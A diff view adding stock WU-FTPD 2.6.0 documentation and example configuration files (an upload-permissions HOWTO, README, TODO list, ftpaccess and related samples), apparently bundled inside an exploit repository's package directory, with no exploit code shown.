| 209 | administrator. That being said, real users should be restricted to | ||
| 210 | uploading only into specific areas. Let's start with a real user in | ||
| 211 | /etc/passwd: | ||
| 212 | |||
| 213 | ftpadmin:*:109:109::/home/users/ftpadmin:/bin/sh | ||
| 214 | |||
| 215 | Again, by default, the server will grant upload privileges everywhere, so | ||
| 216 | we have to start by revoking them and only allowing what we want to: | ||
| 217 | |||
| 218 | upload /home/users/ftpadmin * no | ||
| 219 | upload /home/users/ftpadmin /tmp yes nodirs | ||
| 220 | upload /home/users/ftpadmin /home/users/ftpadmin yes | ||
| 221 | upload /home/users/ftpadmin /home/users/ftpadmin/* yes | ||
| 222 | upload /home/users/ftpadmin /home/ftp/incoming yes ftpadmin ftpadmin 0440 nodirs | ||
| 223 | |||
| 224 | |||
| 225 | |||
| 226 | About matching rules | ||
| 227 | -------------------- | ||
| 228 | Use extreme care when forming wildcard matching rules. It may be tempting | ||
| 229 | to say, for instance: | ||
| 230 | |||
| 231 | upload /home/users/ftpadmin /home/users/ftpadmin* yes | ||
| 232 | |||
| 233 | But, if you do, there will be unintended consequences. In the example, | ||
| 234 | we're trying to restrict upload privileges to just the ftpadmin's home | ||
| 235 | directory. Consider, though, this will match all of the following | ||
| 236 | directories: | ||
| 237 | |||
| 238 | /home/users/ftpadmin | ||
| 239 | /home/users/ftpadmin/mirrors | ||
| 240 | /home/users/ftpadministration | ||
| 241 | |||
| 242 | This last directory isn't wanted. Instead use: | ||
| 243 | |||
| 244 | upload /home/users/ftpadmin /home/users/ftpadmin yes | ||
| 245 | |||
| 246 | to match the ftpadmin's home directory itself, then use: | ||
| 247 | |||
| 248 | upload /home/users/ftpadmin /home/users/ftpadmin/* yes | ||
| 249 | |||
| 250 | to match all subdirectories under the ftpadmin's home. | ||
| 251 | |||
| 252 | |||
| 253 | |||
| 254 | umasks for guest and real users | ||
| 255 | ------------------------------- | ||
| 256 | In most cases you will want to allow guest and real users to control the | ||
| 257 | permissions on their own files and directories. As in the examples shown, | ||
| 258 | if there are no specific permissions given on upload clauses, any new files | ||
| 259 | or directories created will have all permissions set. umasks can be used | ||
| 260 | to reduce these permissions. | ||
| 261 | |||
| 262 | The daemon has a command-line option (-u) to set the default umask for all | ||
| 263 | users. Follow the -u option with an octal permissions mask. Bits in this | ||
| 264 | mask are permissions to turn off whenever the daemon creates a new file or | ||
| 265 | directory. The manpage for ftpd documents the -u option. | ||
| 266 | |||
| 267 | Often times, the global -u option is not sufficient. In the ftpaccess | ||
| 268 | file, you can control umasks by class by using the defumask clause. If no | ||
| 269 | class is given, defumask overrides the -u umask from the command line. If | ||
| 270 | the current user is a member of the named class, defumask overrides the | ||
| 271 | umask setting for this user only. | ||
| 272 | |||
| 273 | For example, assume there are several classes of users | ||
| 274 | |||
| 275 | class admin real 10.0.0.0/8 127.0.0.0/8 | ||
| 276 | class local guest 10.0.0.0/8 127.0.0.0/8 | ||
| 277 | class remote guest * | ||
| 278 | class anon anonymous * | ||
| 279 | |||
| 280 | ( Notice, by the way, in this example, real users will not be allowed | ||
| 281 | access unless from the local network since they are not in any class when | ||
| 282 | coming from an outside IP address. Since the daemon gives no clue to the | ||
| 283 | remote user in this case, to outside addresses it will appear as if the | ||
| 284 | admin users do not exist on the server. The specific cause for their login | ||
| 285 | failure will appear in your system logs. ) | ||
| 286 | |||
| 287 | We can control the umask by class for these users. For example, we might | ||
| 288 | say: | ||
| 289 | |||
| 290 | defumask 0377 | ||
| 291 | defumask 0177 admin | ||
| 292 | defumask 0133 local remote | ||
| 293 | |||
| 294 | The first clause applies whenever another defumask clause does not match | ||
| 295 | the current user's class. This is the same as adding '-u 0377' to the | ||
| 296 | command line for the FTP daemon. In this case, the clause applies only to | ||
| 297 | anonymous users since all other classes have specific default umasks given. | ||
| 298 | |||
| 299 | The second turns off execute permissions, as well as group- and world- read | ||
| 300 | and write permissions, for all files and directories created by real users | ||
| 301 | (users in the admin class). | ||
| 302 | |||
| 303 | The last rule turns off execute permissions and group- and world-write | ||
| 304 | permissions for files and directories created by guests (in the local and | ||
| 305 | remote classes). | ||
| 306 | |||
| 307 | Remember: umasks apply to ALL files and directories created EXCEPT those | ||
| 308 | where an upload clause applies AND the upload clause gives specific | ||
| 309 | permissions. Disabling execute permissions will cause problems using newly | ||
| 310 | created directories; leaving them enabled is unsafe because all files | ||
| 311 | uploaded will have execute permission and could, therefore, be used in | ||
| 312 | attempts to break into the server. | ||
| 313 | |||
| 314 | I recommend disabling all execute permissions and instructing your users to | ||
| 315 | use the chmod command to add execute permissions to directories or to | ||
| 316 | change the umask before creating directories. This may be a bit more work | ||
| 317 | for your users, but it is safer than having a Trojan Horse program marked | ||
| 318 | executable just waiting for someone, possibly root, to try running it. | ||
| 319 | |||
| 320 | |||
| 321 | |||
| 322 | umask and chmod command restrictions | ||
| 323 | ------------------------------------ | ||
| 324 | As just mentioned, users have the ability to change the current umask and | ||
| 325 | modify the permissions on files and directories. | ||
| 326 | |||
| 327 | Obviously, you will want to disable this feature for anonymous users. You | ||
| 328 | may also want to control who may use these features for your guest and real | ||
| 329 | users. The defaults should be acceptable for most sites. The default | ||
| 330 | settings are equivalent to the following (which you may want to add to your | ||
| 331 | ftpaccess file so you don't forget): | ||
| 332 | |||
| 333 | chmod no anonymous | ||
| 334 | chmod yes real,guest | ||
| 335 | |||
| 336 | umask no anonymous | ||
| 337 | umask yes real,guest | ||
| 338 | |||
| 339 | If, for example, you wanted to disable these commands for guests accessing | ||
| 340 | the server from outside the local network, you could add the following: | ||
| 341 | |||
| 342 | chmod no class=remote | ||
| 343 | umask no class=remote | ||
| 344 | |||
| 345 | Be sure to insert these _before_ the 'yes' clauses. Order is important; | ||
| 346 | the daemon will apply the first matching rule it finds. If you do | ||
| 347 | something like this, it is probably safer to rewrite the clauses to deny | ||
| 348 | everything but what you allow. For example: | ||
| 349 | |||
| 350 | chmod yes real,class=local | ||
| 351 | umask yes real,class=local | ||
| 352 | chmod no guest,anonymous | ||
| 353 | umask no guest,anonymous | ||
| 354 | |||
| 355 | |||
| 356 | |||
| 357 | Delete, overwrite, rename restrictions | ||
| 358 | -------------------------------------- | ||
| 359 | The daemon also provides control over the user's ability to delete, over- | ||
| 360 | write and rename files. Again, the defaults are probably acceptable in | ||
| 361 | most cases. These are: | ||
| 362 | |||
| 363 | delete no anonymous | ||
| 364 | delete yes real,guest | ||
| 365 | |||
| 366 | rename no anonymous | ||
| 367 | rename yes real,guest | ||
| 368 | |||
| 369 | overwrite no anonymous | ||
| 370 | overwrite yes real,guest | ||
| 371 | |||
| 372 | As with the chmod and umask clauses, you can control these by class as | ||
| 373 | well. Continuing the above example, restricting these to local users only, | ||
| 374 | we could instead say: | ||
| 375 | |||
| 376 | delete yes real,class=local | ||
| 377 | rename yes real,class=local | ||
| 378 | overwrite yes real,class=local | ||
| 379 | delete no guest,anonymous | ||
| 380 | rename no guest,anonymous | ||
| 381 | overwrite no guest,anonymous | ||
| 382 | |||
| 383 | |||
| 384 | |||
| 385 | Per-class upload clauses | ||
| 386 | ------------------------ | ||
| 387 | Just as we can restrict the ability to change permissions, delete files, | ||
| 388 | etc., we can also define upload clauses which apply only to specific | ||
| 389 | classes of users. For instance, with the classes from the above examples, | ||
| 390 | we can revoke upload rights for remote guests. | ||
| 391 | |||
| 392 | For example, we can deny all uploads the remote guests except to their | ||
| 393 | personal tmp directories: | ||
| 394 | |||
| 395 | upload class=remote /home/users/* * no | ||
| 396 | upload class=remote /home/users/* /*/tmp yes nodirs | ||
| 397 | |||
| 398 | |||
| 399 | |||
| 400 | Private incoming areas | ||
| 401 | ---------------------- | ||
| 402 | Often times, users would like to have private areas in the FTP site. | ||
| 403 | Sometimes, it is usefull to also have incoming areas in those private | ||
| 404 | areas. Examples of the permissions for private areas can be found in the | ||
| 405 | layout at ftp://ftp.wu-ftpd.org/pub/wu-ftpd/examples/ and, other than | ||
| 406 | ownership, are no different than the public incoming area, so I'll simply | ||
| 407 | present the upload clauses here. | ||
| 408 | |||
| 409 | For this example, we'll allow anonymous uploads into all private incoming | ||
| 410 | areas: | ||
| 411 | |||
| 412 | upload /home/ftp /private/*/incoming yes * * 0440 nodirs | ||
| 413 | upload /home/users/ftpadmin /home/ftp/private/*/incoming yes * * 0440 nodirs | ||
| 414 | |||
| 415 | The assumption here is Unix shell users have private areas in the anonymous | ||
| 416 | site. Those areas are owned by the appropriate user, and incoming files | ||
| 417 | are to be owned by that user. The wildcard match on directory allows | ||
| 418 | anonymous uploading to any private incoming directory. The wildcard for | ||
| 419 | owning user and group instructs the daemon to set the file's ownership to | ||
| 420 | that of the directory receiving it. | ||
| 421 | |||
| 422 | Don't forget, if you allow private incoming areas, they are open for | ||
| 423 | anonymous access and you should take care to ensure a DoS attempt to fill | ||
| 424 | the file system cannot take out your entire server. Create a separate | ||
| 425 | filesystem for the private incoming areas or put them inside the public | ||
| 426 | incoming area. | ||
| 427 | |||
| 428 | |||
| 429 | |||
| 430 | Differences from earlier versions | ||
| 431 | --------------------------------- | ||
| 432 | This HOWTO was written for version 2.6.0 of the WU-FTPD server. Earlier | ||
| 433 | versions used different rules for the upload clause. | ||
| 434 | |||
| 435 | Some versions of the daemon required the first parameter to be the name of | ||
| 436 | the root directory for the chroot. This allowed upload control by area, | ||
| 437 | but did not provide for different rules on a per-user basis. | ||
| 438 | |||
| 439 | Some versions of the daemon required the first parameter to be lexically | ||
| 440 | identical to the user's home directory entry. This was non-obvious and the | ||
| 441 | '/./' was often forgotten. | ||
| 442 | |||
| 443 | Some versions of the daemon got totally confused, attempted to apply both | ||
| 444 | these methods at once, and ended up ignoring all your upload rules. If you | ||
| 445 | were smart, you had your permissions set properly and didn't notice. | ||
| 446 | |||
| 447 | Early versions of the VR upgrades, and all earlier versions of the daemon, | ||
| 448 | allowed file system modification as the default for all users. The current | ||
| 449 | version does not allow any modification commands (ie., upload, delete, | ||
| 450 | rename) by anonymous users unless specifically granted in the ftpaccess | ||
| 451 | file. | ||
| 452 | |||
| 453 | Early versions of the VR upgrades, and all earlier versions of the dameon, | ||
| 454 | had no method for specifying the permissions for a newly created directory. | ||
| 455 | Also, they required exact matches for the first parameter (no globbing) and | ||
| 456 | exact user and group names or numbers for ownership file files and | ||
| 457 | directories. | ||
| 458 | |||
| 459 | -- | ||
| 460 | |||
| 461 | Gregory A Lundberg WU-FTPD Development Group | ||
| 462 | 1441 Elmdale Drive lundberg@wu-ftpd.org | ||
| 463 | Kettering, OH 45409-1615 USA 1-800-809-2195 | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/README b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/README new file mode 100644 index 0000000..86e1553 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/README | |||
| @@ -0,0 +1,76 @@ | |||
| 1 | |||
| 2 | Copyright (c) 1999 WU-FTPD Development Group. | ||
| 3 | All rights reserved. | ||
| 4 | |||
| 5 | Portions Copyright (c) 1980, 1985, 1988, 1989, 1990, 1991, 1993, 1994 | ||
| 6 | The Regents of the University of California. | ||
| 7 | Portions Copyright (c) 1993, 1994 Washington University in Saint Louis. | ||
| 8 | Portions Copyright (c) 1996, 1998 Berkeley Software Design, Inc. | ||
| 9 | Portions Copyright (c) 1989 Massachusetts Institute of Technology. | ||
| 10 | Portions Copyright (c) 1998 Sendmail, Inc. | ||
| 11 | Portions Copyright (c) 1983, 1995, 1996, 1997 Eric P. Allman. | ||
| 12 | Portions Copyright (c) 1997 by Stan Barber. | ||
| 13 | Portions Copyright (c) 1997 by Kent Landfield. | ||
| 14 | Portions Copyright (c) 1991, 1992, 1993, 1994, 1995, 1996, 1997 | ||
| 15 | Free Software Foundation, Inc. | ||
| 16 | |||
| 17 | Use and distribution of this software and its source code are governed | ||
| 18 | by the terms and conditions of the WU-FTPD Software License ("LICENSE"). | ||
| 19 | |||
| 20 | If you did not receive a copy of the license, it may be obtained online | ||
| 21 | at http://www.wu-ftpd.org/license.html. | ||
| 22 | |||
| 23 | $Id: README,v 1.5 1999/09/20 13:38:05 wuftpd Exp $ | ||
| 24 | |||
| 25 | ================= | ||
| 26 | = RELEASE NOTES = | ||
| 27 | ================= | ||
| 28 | |||
| 29 | WU-FTP SERVER, RELEASE 2.6.0 - September, 1999 | ||
| 30 | |||
| 31 | wu-ftpd is a replacement ftp server for Un*x systems. Besides supporting | ||
| 32 | the ftp protocol defined in RFC 959, it adds the following features: | ||
| 33 | |||
| 34 | o logging of transfers | ||
| 35 | o logging of commands | ||
| 36 | o on the fly compression and archiving | ||
| 37 | o classification of users on type and location | ||
| 38 | o per class limits | ||
| 39 | o per directory upload permissions | ||
| 40 | o restricted guest accounts | ||
| 41 | o system wide and per directory messages. | ||
| 42 | o directory alias | ||
| 43 | o cdpath | ||
| 44 | o filename filter | ||
| 45 | o virtual host support | ||
| 46 | |||
| 47 | This release is maintained by the WU-FTPD Development Group as a public | ||
| 48 | service to the Internet. Please report problems to the development group | ||
| 49 | at wuftpd-questions@wu-ftpd.org. Be sure to include a specific description | ||
| 50 | of how to reproduce the bug, your hardware and software release levels and | ||
| 51 | the name and version of the compiler you used to build the server. | ||
| 52 | |||
| 53 | It is strongly recommended that you READ ALL THESE FILES before you start | ||
| 54 | attempting to to install this software: | ||
| 55 | |||
| 56 | o INSTALL covers basic installation. | ||
| 57 | o NOTES covers some specific issues with respect to documentation | ||
| 58 | and some system specific information. | ||
| 59 | o doc/HOWTO/VIRTUAL.FTP.SUPPORT outlines how to configure this | ||
| 60 | feature of this server. | ||
| 61 | |||
| 62 | For help setting up this server, you can try the following sources: | ||
| 63 | o _Managing Internet Information Services_, An O'Reilly and Associates | ||
| 64 | book. This book has many excellent chapters on setting up | ||
| 65 | anonymous ftp sites using standard ftp servers as well as the wu-ftp | ||
| 66 | server. | ||
| 67 | o WU-FTPD FAQs | ||
| 68 | - Koos van den Hout's FAQ at | ||
| 69 | http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html | ||
| 70 | o WU-FTPD Resource Pages | ||
| 71 | - Kent Landfield's Resource Pages: http://www.landfield.com/wu-ftpd | ||
| 72 | - Academ Consulting Services' Page: | ||
| 73 | http://www.academ.com/academ/wu-ftpd | ||
| 74 | o The wu-ftpd mailing list. To subscribe, send email with the | ||
| 75 | message body of "subscribe wuftpd-questions" to | ||
| 76 | wuftpd-questions-request@wu-ftpd.org. | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/TODO b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/TODO new file mode 100644 index 0000000..0015159 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/TODO | |||
| @@ -0,0 +1,105 @@ | |||
| 1 | /**************************************************************************** | ||
| 2 | |||
| 3 | Copyright (c) 1999 WU-FTPD Development Group. | ||
| 4 | All rights reserved. | ||
| 5 | |||
| 6 | Portions Copyright (c) 1980, 1985, 1988, 1989, 1990, 1991, 1993, 1994 | ||
| 7 | The Regents of the University of California. | ||
| 8 | Portions Copyright (c) 1993, 1994 Washington University in Saint Louis. | ||
| 9 | Portions Copyright (c) 1996, 1998 Berkeley Software Design, Inc. | ||
| 10 | Portions Copyright (c) 1989 Massachusetts Institute of Technology. | ||
| 11 | Portions Copyright (c) 1998 Sendmail, Inc. | ||
| 12 | Portions Copyright (c) 1983, 1995, 1996, 1997 Eric P. Allman. | ||
| 13 | Portions Copyright (c) 1997 by Stan Barber. | ||
| 14 | Portions Copyright (c) 1997 by Kent Landfield. | ||
| 15 | Portions Copyright (c) 1991, 1992, 1993, 1994, 1995, 1996, 1997 | ||
| 16 | Free Software Foundation, Inc. | ||
| 17 | |||
| 18 | Use and distribution of this software and its source code are governed | ||
| 19 | by the terms and conditions of the WU-FTPD Software License ("LICENSE"). | ||
| 20 | |||
| 21 | If you did not receive a copy of the license, it may be obtained online | ||
| 22 | at http://www.wu-ftpd.org/license.html. | ||
| 23 | |||
| 24 | $Id: TODO,v 1.9 1999/09/23 05:42:30 wuftpd Exp $ | ||
| 25 | |||
| 26 | ****************************************************************************/ | ||
| 27 | |||
| 28 | TODO | ||
| 29 | |||
| 30 | o Add a configuration option changing the behavior of the daemon when an | ||
| 31 | upload overwrites an existing file. Version 2.5.0 of the daemon leaves the | ||
| 32 | original ownership and permissions unchanged. This option would have the | ||
| 33 | overwrite obey the ownership and permissions specified on the upload | ||
| 34 | clause. This feature will be added only if there appears to be a desire | ||
| 35 | for it. | ||
| 36 | |||
| 37 | o Rewrite all configuration file handling for robustness and calrity. | ||
| 38 | |||
| 39 | o Limit logins based upon system load. From a patch submitted to the | ||
| 40 | mailing list by pschwan@@apk.net on Sep 27, 1997. This closes Stan's TODO | ||
| 41 | item 18. Phil has lost his patch. I'm thinking about yanking the code | ||
| 42 | from sendmail to determine the system load and recreating Phil's work from | ||
| 43 | that base. | ||
| 44 | |||
| 45 | o Limit logins and/or uploads based upon free space. Take a look at how | ||
| 46 | sendmail determines how much space is available. | ||
| 47 | |||
| 48 | o Add 'onupload' syntax to run external programs/scripts at the end of an | ||
| 49 | upload. A Frequently Requested Feature. From a request to the mailing | ||
| 50 | list from breif@@rol3.com on Aug 25, 1997. | ||
| 51 | |||
| 52 | o Add 'virtual-retrieve' to run specified program and pipe output when a | ||
| 53 | given GET is handled. If wildcards/globbing/regex is allowed, pass the | ||
| 54 | requested name to the program for processing. | ||
| 55 | |||
| 56 | o Use a stats file in addition to or in place of SETPROCTITLE. From a patch | ||
| 57 | referenced on the mailing list by mjm@@doc.ic.ac.uk on Jun 12, 1997. This | ||
| 58 | closes Stan's TODO items 4 and 6 and possbily item 8. I'm thinking about | ||
| 59 | yanking the code from Apache's scoreboard to use as a base for this. | ||
| 60 | |||
| 61 | o Add ability to limit connections by domain. | ||
| 62 | |||
| 63 | o Enhance ftp-pid files to become single file with continuous process | ||
| 64 | status. | ||
| 65 | |||
| 66 | o Write ftpstat program, including -k option to kill off all FTP daemons | ||
| 67 | |||
| 68 | o Write dynamic ftp monitoring program | ||
| 69 | |||
| 70 | o Add ability to log different info to different files | ||
| 71 | |||
| 72 | o Write ftplogd. Ftp processes send log info to ftplogd which configurably | ||
| 73 | writes data to a lot of different places (syslog[@loghost], logfile(s)). | ||
| 74 | |||
| 75 | o Add ability to limit total connections from any domain. | ||
| 76 | |||
| 77 | o Include descriptive ls program, add ".private" file to disable | ||
| 78 | directory listings... | ||
| 79 | |||
| 80 | o Include system load as a limit parameter (load < xxx, maxusers = nnn) | ||
| 81 | |||
| 82 | o Log more information into PID files: | ||
| 83 | - files/bytes transferred | ||
| 84 | - current action (a la SETPROCNAME) | ||
| 85 | - remote host | ||
| 86 | - classes | ||
| 87 | |||
| 88 | o Write an ftp status program to take advantage of new PID file | ||
| 89 | |||
| 90 | o Add exclusions available in the timeout or transfer limiting code. | ||
| 91 | We really should be able to exclude some sites from those limitations. | ||
| 92 | Reasoning: | ||
| 93 | |||
| 94 | 1. Company has a public ftp site where limitations | ||
| 95 | should exist but does not want to see their | ||
| 96 | internal uses limited in any way. | ||
| 97 | |||
| 98 | 2. Public sites that have official mirrors should | ||
| 99 | be able to grant exclusions to the official | ||
| 100 | mirror sites so that the mirroring process is | ||
| 101 | not aborted leaving the official mirrors in an | ||
| 102 | possible inconsistent state until the next | ||
| 103 | mirroring cycle. | ||
| 104 | |||
| 105 | o Investigate the feasability of adding rlimits as configuration options. | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpaccess b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpaccess new file mode 100644 index 0000000..26a9e80 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpaccess | |||
| @@ -0,0 +1,19 @@ | |||
| 1 | class all real,guest,anonymous * | ||
| 2 | |||
| 3 | limit all 10 Any /etc/msgs/msg.dead | ||
| 4 | |||
| 5 | readme README* login | ||
| 6 | readme README* cwd=* | ||
| 7 | |||
| 8 | message /welcome.msg login | ||
| 9 | message .message cwd=* | ||
| 10 | |||
| 11 | compress yes all | ||
| 12 | tar yes all | ||
| 13 | |||
| 14 | log commands real | ||
| 15 | log transfers anonymous,real inbound,outbound | ||
| 16 | |||
| 17 | shutdown /etc/shutmsg | ||
| 18 | |||
| 19 | email user@hostname | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpaccess.heavy b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpaccess.heavy new file mode 100644 index 0000000..9d4d1fc --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpaccess.heavy | |||
| @@ -0,0 +1,59 @@ | |||
| 1 | loginfails 2 | ||
| 2 | |||
| 3 | # HEY YOU! Yeah, you with the editor. | ||
| 4 | # change the following line, or delete it, OK? | ||
| 5 | class local real,guest,anonymous *.domain 0.0.0.0 | ||
| 6 | class remote real,guest,anonymous * | ||
| 7 | |||
| 8 | limit local 20 Any /etc/msgs/msg.toomany | ||
| 9 | limit remote 100 SaSu|Any1800-0600 /etc/msgs/msg.toomany | ||
| 10 | limit remote 60 Any /etc/msgs/msg.toomany | ||
| 11 | |||
| 12 | readme README* login | ||
| 13 | readme README* cwd=* | ||
| 14 | |||
| 15 | message /welcome.msg login | ||
| 16 | message .message cwd=* | ||
| 17 | |||
| 18 | compress yes local remote | ||
| 19 | tar yes local remote | ||
| 20 | |||
| 21 | # allow use of private file for SITE GROUP and SITE GPASS? | ||
| 22 | private yes | ||
| 23 | |||
| 24 | # passwd-check <none|trivial|rfc822> [<enforce|warn>] | ||
| 25 | passwd-check rfc822 warn | ||
| 26 | |||
| 27 | log commands real | ||
| 28 | log transfers anonymous,real inbound,outbound | ||
| 29 | shutdown /etc/shutmsg | ||
| 30 | |||
| 31 | # all the following default to "yes" for everybody | ||
| 32 | delete no guest,anonymous # delete permission? | ||
| 33 | overwrite no guest,anonymous # overwrite permission? | ||
| 34 | rename no guest,anonymous # rename permission? | ||
| 35 | chmod no anonymous # chmod permission? | ||
| 36 | umask no anonymous # umask permission? | ||
| 37 | |||
| 38 | # specify the upload directory information | ||
| 39 | upload /var/ftp * no nobody nogroup 0000 nodirs | ||
| 40 | upload /var/ftp /bin no | ||
| 41 | upload /var/ftp /etc no | ||
| 42 | upload /var/ftp /incoming yes root daemon 0600 dirs | ||
| 43 | |||
| 44 | # directory aliases... [note, the ":" is not required] | ||
| 45 | alias inc: /incoming | ||
| 46 | |||
| 47 | # cdpath | ||
| 48 | cdpath /incoming | ||
| 49 | cdpath /pub | ||
| 50 | cdpath / | ||
| 51 | |||
| 52 | # path-filter... | ||
| 53 | path-filter anonymous /etc/pathmsg ^[-A-Za-z0-9_\.]*$ ^\. ^- | ||
| 54 | path-filter guest /etc/pathmsg ^[-A-Za-z0-9_\.]*$ ^\. ^- | ||
| 55 | |||
| 56 | # specify which group of users will be treated as "guests". | ||
| 57 | guestgroup ftponly | ||
| 58 | |||
| 59 | email user@hostname | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpconversions b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpconversions new file mode 100644 index 0000000..e7fc6db --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpconversions | |||
| @@ -0,0 +1,9 @@ | |||
| 1 | :.Z: : :/bin/compress -d -c %s:T_REG|T_ASCII:O_UNCOMPRESS:UNCOMPRESS | ||
| 2 | : : :.Z:/bin/compress -c %s:T_REG:O_COMPRESS:COMPRESS | ||
| 3 | :.gz: : :/bin/gzip -cd %s:T_REG|T_ASCII:O_UNCOMPRESS:GUNZIP | ||
| 4 | : : :.gz:/bin/gzip -9 -c %s:T_REG:O_COMPRESS:GZIP | ||
| 5 | : : :.tar:/bin/tar -c -f - %s:T_REG|T_DIR:O_TAR:TAR | ||
| 6 | : : :.tar.Z:/bin/tar -c -Z -f - %s:T_REG|T_DIR:O_COMPRESS|O_TAR:TAR+COMPRESS | ||
| 7 | : : :.tar.gz:/bin/tar -c -z -f - %s:T_REG|T_DIR:O_COMPRESS|O_TAR:TAR+GZIP | ||
| 8 | : : :.crc:/bin/cksum %s:T_REG::CKSUM | ||
| 9 | : : :.md5:/bin/md5sum %s:T_REG::MD5SUM | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpconversions.solaris b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpconversions.solaris new file mode 100644 index 0000000..3f3b2c2 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpconversions.solaris | |||
| @@ -0,0 +1,2 @@ | |||
| 1 | :.Z: : :/usr/bin/compress -d -c %s:T_REG|T_ASCII:O_UNCOMPRESS:UNCOMPRESS | ||
| 2 | : : :.Z:/usr/bin/compress -c %s:T_REG:O_COMPRESS:COMPRESS | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpgroups b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpgroups new file mode 100644 index 0000000..2ca5fe1 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpgroups | |||
| @@ -0,0 +1 @@ | |||
| test:ENCRYPTED PASSWORD HERE:archive | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftphosts b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftphosts new file mode 100644 index 0000000..231c232 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftphosts | |||
| @@ -0,0 +1,7 @@ | |||
| 1 | # Example host access file | ||
| 2 | # | ||
| 3 | # Everything after a '#' is treated as comment, | ||
| 4 | # empty lines are ignored | ||
| 5 | |||
| 6 | allow bartm somehost.domain | ||
| 7 | deny fred otherhost.domain 131.211.32.* | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpservers b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpservers new file mode 100644 index 0000000..857fb93 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpservers | |||
| @@ -0,0 +1,25 @@ | |||
| 1 | # | ||
| 2 | # ftpservers file: | ||
| 3 | # | ||
| 4 | # Format of the file is: | ||
| 5 | # ipaddr/hostname directory-containing-configuration-files | ||
| 6 | # | ||
| 7 | # 10.196.145.10 /etc/ftpd/ftpaccess.somedomain/ | ||
| 8 | # 10.196.145.200 /etc/ftpd/ftpaccess.someotherdomain/ | ||
| 9 | # some.domain INTERNAL | ||
| 10 | # | ||
| 11 | # The server parses the file and tries to match the IP address connected | ||
| 12 | # to one found in the ftpservers file. If a match is found then the path | ||
| 13 | # to the specified directory that contains the configuration files | ||
| 14 | # for that specific domain is returned. If a match is not found, or | ||
| 15 | # an invalid directory path is encountered like above, default | ||
| 16 | # paths to the configuration files to use are returned. | ||
| 17 | # | ||
| 18 | # You can use the actual IP address or a specific hostname. | ||
| 19 | # | ||
| 20 | # 10.196.145.20 /etc/ftpd/config/faqs.org/ | ||
| 21 | # ftp.some.domain /etc/ftpd/config/faqs.org/ | ||
| 22 | # | ||
| 23 | # As usual, comments and blanklines are ignored. | ||
| 24 | # | ||
| 25 | #### | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpusers b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpusers new file mode 100644 index 0000000..59a8855 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/examples/ftpusers | |||
| @@ -0,0 +1,14 @@ | |||
| 1 | root | ||
| 2 | bin | ||
| 3 | boot | ||
| 4 | daemon | ||
| 5 | digital | ||
| 6 | field | ||
| 7 | gateway | ||
| 8 | guest | ||
| 9 | nobody | ||
| 10 | operator | ||
| 11 | ris | ||
| 12 | sccs | ||
| 13 | sys | ||
| 14 | uucp | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man1/ftpcount.1.gz b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man1/ftpcount.1.gz new file mode 100644 index 0000000..1d9a145 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man1/ftpcount.1.gz | |||
| Binary files differ | |||
